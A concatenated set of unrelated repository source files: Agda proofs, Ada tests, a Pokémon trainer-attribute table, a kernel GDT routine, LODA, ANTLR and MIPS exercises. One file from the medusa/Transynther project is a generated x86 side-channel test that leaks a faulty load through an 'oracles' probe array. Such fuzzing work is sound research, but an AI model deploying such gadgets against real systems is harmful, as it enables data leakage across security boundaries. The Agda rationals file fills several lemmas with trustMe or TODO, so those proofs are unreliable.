(X : Ptd i) → is-equiv (fst (⊙Ω^-inner-out n X)) Ω^-inner-is-equiv O X = is-eq (idf _) (idf _) (λ _ → idp) (λ _ → idp) Ω^-inner-is-equiv (S n) X = is-equiv-ap^ 1 (⊙Ω^-inner-out n X) (Ω^-inner-is-equiv n X) Ω^-inner-equiv : (n : ℕ) (X : Ptd i) → Ω^ (S n) X ≃ Ω^ n (⊙Ω X) Ω^-inner-equiv n X = _ , Ω^-inner-is-equiv n X
tests/src/test.adb
onox/progress_indicators
3
14131
<gh_stars>1-10 with Ada.Text_IO; with Progress_Indicators.Bars; with Progress_Indicators.Spinners; procedure Test is use Progress_Indicators.Spinners; use Progress_Indicators.Bars; S : Spinner := Make; Bar_Widths : constant array (Natural range <>) of Natural := (100, 50, 10, 5, 0); begin for Width of Bar_Widths loop for I in Percentage'(0) .. 100 loop delay 0.02; Ada.Text_IO.Put (Get_Bar (I, Width)); end loop; Ada.Text_IO.New_Line; end loop; for I in 1 .. 100 loop delay 0.02; Tick (S); Ada.Text_IO.Put (Value (S)); end loop; end Test;
data/trainers/attributes.asm
AtmaBuster/pokeplat-gen2
6
15038
TrainerClassAttributes: ; entries correspond to trainer classes (see constants/trainer_constants.asm) ; Falkner db NO_ITEM, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Whitney db NO_ITEM, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Bugsy db NO_ITEM, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Morty db NO_ITEM, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Pryce db HYPER_POTION, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Jasmine db HYPER_POTION, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Chuck db FULL_HEAL, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Clair db FULL_HEAL, HYPER_POTION ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Rival1 db NO_ITEM, NO_ITEM ; items db 15 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Pokemon Prof db NO_ITEM, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_AGGRESSIVE | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Aaron db MAX_POTION, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Bertha db MAX_POTION, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Flint db FULL_HEAL, MAX_POTION ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Lucian db FULL_HEAL, FULL_RESTORE ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Cal db NO_ITEM, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Champion db FULL_HEAL, FULL_RESTORE ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Worker db NO_ITEM, NO_ITEM ; items db 20 ; base reward dw AI_BASIC | AI_TYPES | AI_SMART | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Veteran db NO_ITEM, NO_ITEM ; items db 30 ; base reward dw AI_BASIC | AI_TYPES | AI_SMART | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Lt Surge db HYPER_POTION, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Scientist db NO_ITEM, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Erika db HYPER_POTION, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Youngster db NO_ITEM, NO_ITEM ; items db 4 ; base reward dw AI_BASIC | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Schoolboy db NO_ITEM, NO_ITEM ; items db 8 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_OFTEN ; Bird Keeper db NO_ITEM, NO_ITEM ; items db 6 ; base reward dw AI_BASIC | AI_TYPES | AI_OFFENSIVE | AI_OPPORTUNIST | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Lass db NO_ITEM, NO_ITEM ; items db 6 ; base reward dw AI_BASIC | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_OFTEN ; Janine db DIRE_HIT, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Cooltrainerm db NO_ITEM, NO_ITEM ; items db 12 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Cooltrainerf db NO_ITEM, NO_ITEM ; items db 12 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Beauty db NO_ITEM, NO_ITEM ; items db 22 ; base reward dw AI_BASIC | AI_TYPES | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Pokemaniac db NO_ITEM, NO_ITEM ; items db 15 ; base reward dw AI_BASIC | AI_SETUP | AI_OFFENSIVE | AI_AGGRESSIVE | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Gruntm db NO_ITEM, NO_ITEM ; items db 10 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Gentleman db NO_ITEM, NO_ITEM ; items db 18 ; base reward dw AI_BASIC | AI_SETUP | AI_AGGRESSIVE | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Skier db NO_ITEM, NO_ITEM ; items db 18 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Teacher db NO_ITEM, NO_ITEM ; items db 18 ; base reward dw AI_BASIC | AI_OPPORTUNIST | AI_AGGRESSIVE | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Sabrina db HYPER_POTION, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Bug Catcher db NO_ITEM, NO_ITEM ; items db 4 ; base reward dw AI_BASIC | AI_SETUP | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Fisher db NO_ITEM, NO_ITEM ; items db 10 ; base reward dw AI_BASIC | AI_TYPES | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_OFTEN ; Swimmerm db NO_ITEM, NO_ITEM ; items db 2 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_OFFENSIVE | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Swimmerf db NO_ITEM, NO_ITEM ; items db 5 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Sailor db NO_ITEM, NO_ITEM ; items db 10 ; base reward dw AI_BASIC | AI_OFFENSIVE | AI_OPPORTUNIST | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Super Nerd db NO_ITEM, NO_ITEM ; items db 8 ; base reward dw AI_BASIC | AI_TYPES | AI_SMART | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Rival2 db NO_ITEM, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Guitarist db NO_ITEM, NO_ITEM ; items db 8 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Hiker db NO_ITEM, NO_ITEM ; items db 8 ; base reward dw AI_BASIC | AI_OFFENSIVE | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Biker db NO_ITEM, NO_ITEM ; items db 8 ; base reward dw AI_BASIC | AI_TYPES | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Blaine db MAX_POTION, FULL_HEAL ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Burglar db NO_ITEM, NO_ITEM ; items db 22 ; base reward dw AI_BASIC | AI_OFFENSIVE | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Firebreather db NO_ITEM, NO_ITEM ; items db 12 ; base reward dw AI_BASIC | AI_SETUP | AI_OFFENSIVE | AI_OPPORTUNIST | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Juggler db NO_ITEM, NO_ITEM ; items db 10 ; base reward dw AI_BASIC | AI_TYPES | AI_SMART | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Blackbelt T db NO_ITEM, NO_ITEM ; items db 6 ; base reward dw AI_BASIC | AI_OFFENSIVE | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Executivem db NO_ITEM, NO_ITEM ; items db 18 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_SMART | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Psychic T db NO_ITEM, NO_ITEM ; items db 8 ; base reward dw AI_BASIC | AI_TYPES | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Picnicker db NO_ITEM, NO_ITEM ; items db 5 ; base reward dw AI_BASIC | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Camper db NO_ITEM, NO_ITEM ; items db 5 ; base reward dw AI_BASIC | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Executivef db NO_ITEM, NO_ITEM ; items db 18 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_SMART | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Sage db NO_ITEM, NO_ITEM ; items db 8 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Medium db NO_ITEM, NO_ITEM ; items db 10 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Boarder db NO_ITEM, NO_ITEM ; items db 18 ; base reward dw AI_BASIC | AI_TYPES | AI_OPPORTUNIST | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Pokefanm db NO_ITEM, NO_ITEM ; items db 20 ; base reward dw AI_BASIC | AI_TYPES | AI_SMART | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Kimono Girl db NO_ITEM, NO_ITEM ; items db 18 ; base reward dw AI_BASIC | AI_TYPES | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Twins db NO_ITEM, NO_ITEM ; items db 5 ; base reward dw NO_AI dw CONTEXT_USE | SWITCH_OFTEN ; Pokefanf db NO_ITEM, NO_ITEM ; items db 20 ; base reward dw AI_BASIC | AI_TYPES | AI_SMART | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Red db FULL_RESTORE, FULL_RESTORE ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Blue db FULL_RESTORE, FULL_RESTORE ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Officer db NO_ITEM, NO_ITEM ; items db 10 ; base reward dw AI_BASIC | AI_TYPES | AI_OPPORTUNIST | AI_STATUS dw CONTEXT_USE | SWITCH_SOMETIMES ; Gruntf db NO_ITEM, NO_ITEM ; items db 10 ; base reward dw AI_BASIC | AI_TYPES | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Mysticalman db NO_ITEM, NO_ITEM ; items db 25 ; base reward dw AI_BASIC | AI_SETUP | AI_SMART | AI_AGGRESSIVE | AI_CAUTIOUS | AI_STATUS | AI_RISKY dw CONTEXT_USE | SWITCH_SOMETIMES ; Schoolgirl db NO_ITEM, NO_ITEM ; items db 8 ; base reward dw AI_BASIC | AI_SETUP | AI_TYPES | AI_OPPORTUNIST | AI_CAUTIOUS | AI_STATUS dw CONTEXT_USE | SWITCH_OFTEN
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1571.asm
ljhsiun2/medusa
9
163064
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rax push %rbp push %rcx push %rdi push %rdx lea addresses_A_ht+0x1c312, %r13 nop and $54389, %rdx vmovups (%r13), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %rbp nop nop nop cmp $29060, %rcx lea addresses_WT_ht+0xd1b2, %r15 nop nop nop nop nop dec %rdi mov $0x6162636465666768, %rax movq %rax, (%r15) and %rdi, %rdi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rcx push %rdi // Faulty Load lea addresses_UC+0x28c2, %rdi add %r14, %r14 vmovups (%rdi), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %r12 lea oracles, %rcx and $0xff, %r12 shlq $12, %r12 mov (%rcx,%r12,1), %r12 pop %rdi pop %rcx pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': True, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
kernel/amd64/sys/gdt.asm
ndmrr/fnix
2
1396
global gdtFlush gdtFlush: lgdt[rdi] mov ax, 0x10 mov es, ax mov ss, ax mov ds, ax mov fs, ax mov gs, ax push 0x08 lea rax, [rel .reload_cs] push rax retfq .reload_cs: ret
oeis/079/A079497.asm
neoneye/loda-programs
11
92710
; A079497: a(1)=1; for n > 2, a(n) is the smallest integer > a(n-1) such that frac(sqrt(5)*a(n)) < frac(sqrt(5)*a(n-1)). ; Submitted by <NAME> ; 1,5,9,13,17,89,161,233,305,1597,2889,4181,5473,28657,51841,75025,98209,514229,930249,1346269,1762289,9227465,16692641,24157817,31622993,165580141,299537289,433494437,567451585,2971215073,5374978561 mov $3,1 lpb $0 sub $4,2 sub $4,$0 sub $0,$3 sub $4,$0 trn $4,$0 mov $1,$4 mul $1,16 add $2,$3 add $2,$1 add $4,$2 lpe mov $0,$4 mul $0,4 add $0,1
tests/src/Safe_Alloc/safe_alloc_suite.adb
mhatzl/spark_unbound
8
16828
with AUnit.Test_Caller; with SA_Arrays_Tests; with SA_Definite_Tests; package body Safe_Alloc_Suite is package SA_Arrays_Test_Caller is new AUnit.Test_Caller(SA_Arrays_Tests.Test_Fixture); package SA_Definite_Test_Caller is new AUnit.Test_Caller(SA_Definite_Tests.Test_Fixture); function Suite return Access_Test_Suite is SA_Suite : constant Access_Test_Suite := new Test_Suite; begin -- Add Arrays Tests --------------------------------- SA_Suite.Add_Test(SA_Arrays_Test_Caller.Create("Test Arrays Alloc with trying to force Storage_Error => Returns `null`", SA_Arrays_Tests.TestAlloc_WithForcingStorageError_ResultNullReturned'Access)); -- Add Definite Tests --------------------------------- SA_Suite.Add_Test(SA_Definite_Test_Caller.Create("Test Definite Alloc with trying to force Storage_Error => Returns `null`", SA_Definite_Tests.TestAlloc_WithForcingStorageError_ResultNullReturned'Access)); return SA_Suite; end Suite; end Safe_Alloc_Suite;
java/src/main/antlr4/wtp/rangesParser/Ranges.g4
andreaswitsch/cnlcsplib
0
5698
<filename>java/src/main/antlr4/wtp/rangesParser/Ranges.g4 grammar Ranges; prog: (range)* ; range: VARSY ':' '[' (DOUBLE|INT) ',' (DOUBLE|INT) ']'; NEWLINE : [\r\n]+ -> skip; INT : [0-9]+ ; DOUBLE : [0-9]+'.'[0-9]* ; VARSY : [a-zA-Z]+[1-9]* ; //WS : [ \n\t\r]; WS : [ \t\r\n]+ -> skip ;
Laboratorios/lab1_5.asm
LSantos06/MIPS2
0
29097
.data v1: .word 1 2 3 4 v2: .word 4 3 2 1 tam: .word 4 msg: .asciiz "\nFIM" .text # Declaracao de variaveis la $t0, v1 # Carregando o endereco do primeiro elemento do v1 la $t1, v2 # Carregando o endereco do primeiro elemento do v2 la $t2, tam # Carregando o endereco do tamanho de v1 lw $s0, 0($t0) # $s0, Primeiro elemento do v1 lw $s1, 0($t1) # $s1, Primeiro elemento do v2 lw $s2, 0($t2) # $s2, Tamanho do v1 add $s3, $zero, $zero # $s2, contador = 0 jal sum_vet # Chamada de funcao para contar o numero de elementos do vetor # Termino do programa li $v0, 10 # Codigo para terminar o programa = 10 syscall sum_vet: beq $s3, $s2, fim lw $s4, 0($t0) # $s4, valor atual de v1 lw $s5, 0($t1) # $s5, valor atual de v2 add $s6, $s4, $s5 # $s6, soma dos valores atuais de v1 e v2 sw $s6, 0($t0) # Armazena a soma no v1 lw $s4, 0($t0) # $s4, valor atual de v1 # Impressao do valor atual do v1 addi $v0, $zero, 1 # Codigo para imprimir um inteiro add $a0, $zero, $s4 # Valor atual de v1 syscall addi $t0, $t0, 4 # Passa para o proximo elemento do v1 addi $t1, $t1, 4 # Passa para o proximo elemento do v2 addi $s3, $s3, 1 # contador++; j sum_vet fim: addi $v0, $zero, 4 # Codigo para imprimir uma string = 4 la $a0, msg # Carregando a string msg para o argumento syscall # Pula para instrucao apos a chamada de funcao jr $ra
proofs/AKS/Rational/Base.agda
mckeankylej/thesis
1
9994
<reponame>mckeankylej/thesis open import Function.Equivalence as FE using () open import Relation.Nullary using (yes; no) open import Relation.Nullary.Negation using (contradiction) open import Relation.Nullary.Product using (_×-dec_) open import Relation.Nullary.Decidable using (False; map) open import Relation.Binary using (Decidable) open import Relation.Binary.PropositionalEquality using (_≡_; _≢_; refl; sym; cong; module ≡-Reasoning) open import Relation.Binary.PropositionalEquality.WithK using (≡-irrelevant) open ≡-Reasoning open import Data.Product using (_×_; _,_; uncurry) open import Data.Unit using (⊤; tt) open import Agda.Builtin.FromNat using (Number) module AKS.Rational.Base where open import Data.Integer using (ℤ; +_; +0; +[1+_]; -[1+_]; ∣_∣) renaming (_+_ to _+ℤ_; _*_ to _*ℤ_; -_ to -ℤ_; _≟_ to _≟ℤ_) open import Data.Integer.DivMod using () renaming (_divℕ_ to _/ℤ_) open import Data.Integer.Properties using (∣-n∣≡∣n∣) open import AKS.Nat using (ℕ; suc; ≢⇒¬≟; ¬≟⇒≢) renaming (_+_ to _+ℕ_; _*_ to _*ℕ_; _≟_ to _≟ℕ_) open import AKS.Nat using (n≢0∧m≢0⇒n*m≢0) open import AKS.Nat.Divisibility using () renaming (_/_ to _/ℕ_) open import AKS.Nat.GCD using (gcd; _⊥_; gcd[a,1]≡1; b≢0⇒gcd[a,b]≢0; gcd[0,a]≡1⇒a≡1; ⊥-respˡ; ⊥-sym) record ℚ : Set where constructor ℚ✓ field numerator : ℤ denominator : ℕ den≢0 : False (denominator ≟ℕ 0) coprime : ∣ numerator ∣ ⊥ denominator fromℤ : ℤ → ℚ fromℤ n = record { numerator = n ; denominator = 1 ; den≢0 = tt ; coprime = gcd[a,1]≡1 (∣ n ∣) } fromℕ : ℕ → ℚ fromℕ n = fromℤ (+ n) instance ℚ-number : Number ℚ ℚ-number = record { Constraint = λ _ → ⊤ ; fromNat = λ n → fromℕ n } open import AKS.Unsafe using (trustMe; TODO) open import Data.Fin using (Fin) open import Data.Nat.DivMod using (_divMod_; result) ∣a/ℤb∣≡∣a∣/ℕb : ∀ a b {b≢0} → ∣ (a /ℤ b) {b≢0} ∣ ≡ (∣ a ∣ /ℕ b) {b≢0} ∣a/ℤb∣≡∣a∣/ℕb (+ n) b {b≢0} = refl ∣a/ℤb∣≡∣a∣/ℕb (-[1+ x ]) b {b≢0} with (suc x divMod b) {b≢0} ... | result q Fin.zero eq rewrite ∣-n∣≡∣n∣ (+ q) = trustMe ... | result q (Fin.suc r) eq = trustMe a/d⊥b/d : ∀ a b d {d≢0} → gcd a b ≡ d → (a /ℕ d) {d≢0} ⊥ (b /ℕ d) {d≢0} a/d⊥b/d a b d gcd[a,b]≡d = begin gcd (a /ℕ d) (b /ℕ d) ≡⟨ trustMe ⟩ 1 ∎ a≢0⇒a/b≢0 : ∀ a b (a≢0 : False (a ≟ℕ 0)) {b≢0} → (a /ℕ b) {b≢0} ≢ 0 a≢0⇒a/b≢0 (suc a) (suc b) a≢0 = TODO canonical : ∀ (num : ℤ) (den : ℕ) {den≢0 : False (den ≟ℕ 0)} → ℚ canonical num den {den≢0} = construct num den {den≢0} (gcd ∣ num ∣ den) {≢⇒¬≟ (b≢0⇒gcd[a,b]≢0 (∣ num ∣) den (¬≟⇒≢ den≢0))} refl where construct : ∀ num den {den≢0 : False (den ≟ℕ 0)} d {d≢0 : False (d ≟ℕ 0)} → gcd ∣ num ∣ den ≡ d → ℚ construct num den {den≢0} d {d≢0} gcd[num,den]≡d = record { numerator = (num /ℤ d) {d≢0} ; denominator = (den /ℕ d) {d≢0} ; den≢0 = ≢⇒¬≟ (a≢0⇒a/b≢0 den d den≢0) ; coprime = ⊥-respˡ {den /ℕ d} (sym (∣a/ℤb∣≡∣a∣/ℕb num d)) (a/d⊥b/d ∣ num ∣ den d gcd[num,den]≡d) } infixl 6 _+_ _+_ : ℚ → ℚ → ℚ (ℚ✓ num₁ den₁ den₁≢0 _) + (ℚ✓ num₂ den₂ den₂≢0 _) = 